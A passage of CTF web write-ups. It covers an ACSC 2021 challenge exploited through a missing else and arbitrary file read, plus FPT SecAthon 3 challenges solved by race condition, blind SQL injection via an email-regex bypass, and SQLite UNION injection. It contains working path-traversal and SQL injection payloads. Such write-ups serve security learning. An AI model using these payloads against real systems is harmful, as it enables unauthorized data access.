- Hai hàm gen_user_db và gen_pass_db đều hoạt động giống y hệt nhau, tại sao refresh trang user.db thì thấy các account mới được append vào còn passcode.db thì vẫn giữ nguyên như vậy? Chứng tỏ có một hàm nào đó khác nữa đã làm công việc append này, và nó chính là hàm signup (check file/2021/web/source/public/lib/User.class.php)):

public function signup(){
    if (!preg_match("/^[A-Z][0-9a-z]{3,15}$/", $this->acc[0])) return false;
    if (!preg_match("/^[A-Z][0-9A-Za-z]{8,15}$/", $this->acc[1])) return false;
    $data = $this->load_db();
    for($i = 0; $i < count($data); $i++){
        if ($data[$i][0] == $this->acc[0]) return false;
    }
    file_put_contents($this->db['path'], $this->db['fmt'], FILE_APPEND);  // $this->db['path'] == 'public/lib/db/user.db' và $this->db['fmt'] = sprintf("%s|%s|%d,", $this->acc[0], $this->gen_hash($this->acc[1]), 0) 
    return true;
}

- Nếu ":<vNk" trong file passcode.db không phải là salt của hàm hash ripedm160, vậy nó được tạo ra để làm gì? Nhìn vào hàm is_pass_correct trong file Admin.class.php/2021/web/source/public/lib/Admin.class.php), ta thấy $passcode lấy data từ file passcode.db thông qua hàm get_pass, $input lấy data từ value của parameter pas được lưu trên superglobal REQUEST, sau đó nếu 2 biến này bằng nhau thì return true:

public function is_pass_correct(){
    $passcode = $this->get_pass();  // $passcode == ':<vNk'
    $input = $_REQUEST['pas'];
    if ($input == $passcode) return true;
}

3/ Khai thác:

  • Nói thêm một chút về các parameter nằm trong superglobal REQUEST của bài này, tất cả đều được gửi từ form signin thông qua hàm signin nằm trong file client.js/2021/web/source/public/static/js/client.js). Nếu theo luồng hoạt động của hàm này thì chỉ có 3 parameter được gửi vào REQUEST là id, pw và c (1). Như vậy, để hàm is_pass_correct có thể return true, ta phải tự chèn thêm parameter pas=:<vNk vào sau khi sign in (2).
  • Như đã thấy ở phần thăm dò, dù có tạo được account thì chúng ta cũng không thể vào được bên trong, web app chỉ alert rằng "Only admin can access the page". Bắt thử một request rồi send qua repeater của Burp Suite thì ta được:

image

  • Response cho biết rằng trang web đang bị chuyển hướng đến /api.php?#access denied do đoạn code javascript location.href = '/api.php?#access denied';. Vậy đoạn code javascript này từ đâu ra. Check hàm main rồi mò lại hàm challenge, ta có:
$admin = new Admin();
if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
$cmd = $_REQUEST['c2'];
if ($cmd) {
    switch($cmd){
        case "gu":
            echo json_encode($admin->export_users());
            break;
        case "gd":
            echo json_encode($admin->export_db($_REQUEST['db']));
            break;
        case "gp":
            echo json_encode($admin->get_pass());
            break;
        case "cf":
            echo json_encode($admin->compare_flag($_REQUEST['flag']));
            break;
    }
}
  • Đọc lướt qua thì ta sẽ thấy đây là một đoạn code authorize rất bình thường, khi account không phải admin thì sẽ trả về response như đã thấy trên Burp Suite. Nhưng nhìn kĩ lại một chút thì chúng ta phát hiện một sai lầm cực kì tai hại của người viết đoạn code này, đó chính là dùng if (!$admin->is_admin()) cho câu lệnh $admin->redirect('/api.php?#access denied'); nhưng lại quên đặt các khối lệnh phía sau vào else. Điều này đồng nghĩa rằng kể cả account của bạn không phải là admin, đăng nhập vào bị alert ra lỗi, nhưng vẫn có thể thực thi toàn bộ các lệnh ở phía sau if. Vấn đề bây giờ chỉ là chọn value nào để inject vào parameter c2 trong các value gu, gd, gp và cf. Nếu chọn gd thì ta sẽ gọi được hàm export_db, hàm này lại lấy data từ paramter db. Cùng xem hàm này hoạt động như thế nào:
public function export_db($file){
    if ($this->is_pass_correct()) {
        $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
        $path .= "db".DIRECTORY_SEPARATOR;
        $path .= $file;
        $data = file_get_contents($path);
        $data = explode(',', $data);
        $arr = [];
        for($i = 0; $i < count($data); $i++){
            $arr[] = explode('|', $data[$i]);
        }
        return $arr;
    }else 
        return "The passcode does not equal with your input.";
}
  • Để hàm này có thể chạy được ta cần phải chèn vào request pas=:<vNk như đã giải thích ở cuối phần Nghiên cứu source code. Trong luồng hoạt động của hàm này chúng ta chỉ cần để ý duy nhất lệnh $data = file_get_contents($path); là có thể kết luận sử dụng hàm này ta có thể đọc được nội dung của một file bất kì trong hệ thống, trong đó có file flag. Sau khi mò được đường dẫn của flag thì ta đã có flag trong tay:

image

  • Payload: id=Baictfkhoqua&pw=Aa1234567&c=i&pas=:<vNk&c2=gd&db=../../../../../../../flag
  • Flag: ACSC{it_is_hard_to_name_a_flag..isn't_it?}
spacer

FPT Uni SecAthon 3 | Web Writeup | IAW301 - IAW302

Written by HADES 

* Contact me via discord: 𝖍𝖆𝖉𝖊𝖘#5218 *


I. IAW302 : (RACE CONDITION)

    <?php
    session_start();
    @include '/flag.php';

    if(!isset($_GET['choose'])){
        highlight_file("result.php");
        die();
    }

    $name = md5(date("ms").md5($_GET['choose']).@$_COOKIE['PHPSESSID']);
    session_destroy();
    $log_file = "./".$name.".txt";
    echo "Log: $log_file</br>";

    file_put_contents($log_file,$_GET['choose']);
    if(@unlink($log_file)){
        die("Loser");
    }
    echo @$flag;
    ?>

1. SOLUTION:

Sau khi test sơ qua mình đã thấy được code mà author cung cấp ở http://35.198.195.87:7002/result.php. Đây cũng là 1 dạng được khá nhiều người biết đến, dùng kĩ thuật race condition để khai thác. Và bây giờ mình sẽ phân tích, tại sao lại có thể exploit bằng race-con.
  • Đầu tiên giá trị của $name được gán bằng md5-encode của date, get parameter và session, tiếp theo đó $name được lấy làm tên file txt và được nạp nội dung vào, sau đó kiểm tra xóa file thông qua đoạn if(@unlink($log_file)), nếu false thì echo flag, và ngược lại thì die("Loser").
  • Nhìn thì có vẻ như không có bất kì vuln nào, nhưng các bạn hãy chú ý vào đoạn session_destroy(); được đặt giữa source code và nó có chức năng hủy session. Điều này rất nguy hiểm, vì nếu session bị hủy giữa chừng và đồng thời có nhiều request được gửi tới thì sẽ gây ra tình trạng mất dữ liệu bất ngờ, trong trường hợp trên thì sẽ mất dữ liệu của $name

⇒ Do đó để unlink trả về false thì chỉ cần làm cho $name bị mất dữ liệu thì sẽ không tồn tại tên file , bằng cách dùng race condition để tạo ra nhiều request đồng thời.

Warning Immediate session deletion may cause unwanted results. When there is concurrent requests, other connections may see sudden session data loss. e.g. Requests from JavaScript and/or requests from URL links. Although current session module does not accept empty session ID cookie, but immediate session deletion may result in empty session ID cookie due to client(browser) side race condition. This will result that the client creates many session ID needlessly. To avoid these, you must set deletion time-stamp to $_SESSION and reject access while later. Or make sure your application does not have concurrent requests. This applies to session_regenerate_id() also.

2. PAYLOAD:

  • Chỉ cần dùng thread để spam là okie !

⇒ flag: FUSEC{Hua_voi_moi_nguoi_lan_nay_lan_cuoi_dao_de}



II. IAW301:(BLIND-SQL-INJECTION)

HINT 2 : http://35.198.195.87:7001/src.zip

HINT 4 : "valid/email*"@gmail.com

1. SOLUTION:

Dựa vào hint 2 ta đọc source và biết ngay vuln tại phần email trong chức năng registration.
$regexEmail = array("options" => array("regexp"=>"/^(?!(?:(?:\\\\x22?\\\\x5C[\\\\x00-\\\\x7E]\\\\x22?)|(?:\\\\x22?[^\\\\x5C\\\\x22]\\\\x22?)){255,})(?!(?:(?:\\\\x22?\\\\x5C[\\\\x00-\\\\x7E]\\\\x22?)|(?:\\\\x22?[^\\\\x5C\\\\x22]\\\\x22?)){240,}@)(?:(?:[\\\\x21\\\\x23-\\\\x27\\\\x2A\\\\x2B\\\\x2D\\\\x2F-\\\\x39\\\\x3D\\\\x3F\\\\x5E-\\\\x7E]+)|(?:\\\\x22(?:[\\\\x01-\\\\x08\\\\x0B\\\\x0C\\\\x0E-\\\\x1F\\\\x21\\\\x23-\\\\x5B\\\\x5D-\\\\x7F]|(?:\\\\x5C[\\\\x00-\\\\x7F]))*\\\\x22))(?:\\\\.(?:(?:[\\\\x21\\\\x23-\\\\x27\\\\x2A\\\\x2B\\\\x2D\\\\x2F-\\\\x39\\\\x3D\\\\x3F\\\\x5E-\\\\x7E]+)|(?:\\\\x22(?:[\\\\x01-\\\\x08\\\\x0B\\\\x0C\\\\x0E-\\\\x1F\\\\x21\\\\x23-\\\\x5B\\\\x5D-\\\\x7F]|(?:\\\\x5C[\\\\x00-\\\\x7F]))*\\\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\\\]))$/iD","default"=>false));
    if (filter_var($username, FILTER_VALIDATE_REGEXP, $regexUsername)){
      if (filter_var($email, FILTER_VALIDATE_REGEXP, $regexEmail)){
.............
}}
Và dưới đây là câu query signup bị vuln:
$sql = 'INSERT INTO Users (username, email, password) VALUES ("'.$username.'", "'.$email.'", "'.md5($password).'")'; 
Để inject và lấy dữ liệu trong database được, chúng ta cần bypass cái regex ở trên, bằng một số kĩ thuật fuzzing và document (https://www.programmersought.com/article/88334149880/)

2. PAYLOAD:

#payload bind-sqli username=a&password=b&email="||(ascii(substr((select 'aa'),1,1))>53)||"@aaaaaagmail.com

⇒flag: FUSEC{Fuzzing_Email_For_SQLi}

spacer

FPT Uni SecAthon 3 | Web Writeup | PRP302


 
In this challenge, we have a form.

Try input 1, we have a base64 string.

But we have nothing when decoding it, then I guess it is encrypted.

I tried dirsearch and found ‘.git’ :

Then, we use GitHack to get source code. In folder ‘form’, we found file AES.py

Now, we have key and iv, using it to decrypt the string:

Try SQL injection with:

1/**/or/**/1=1--

Therefore, I think that all the responses will be encrypted. Decrypt those strings, we have 5 country names: Vietnam, England, Japan, America, France.

Try to find database information, we found that it is SQLite version 3.27.2 with:

1/**/union/**/select/**/null,sqlite_version()--

Now, we use:

1/**/union/**/select/**/null,name/**/from/**/sqlite_master/**/where/**/type='table'--

1/**/union/**/select/**/null,sql/**/from/**/sqlite_master/**/where/**/type='table'/**/and/**/tbl_name='form_flag'--

We found a table named ‘form_flag‘ and a column named ‘flag‘. Use this payload to get the flag and decrypt it:

1/**/union/**/select/**/null,flag/**/from/**/form_flag--

Flag: FUSEC{CSGO://Bomb_has_been_exploded_CT_loose}

By Dang Kien

spacer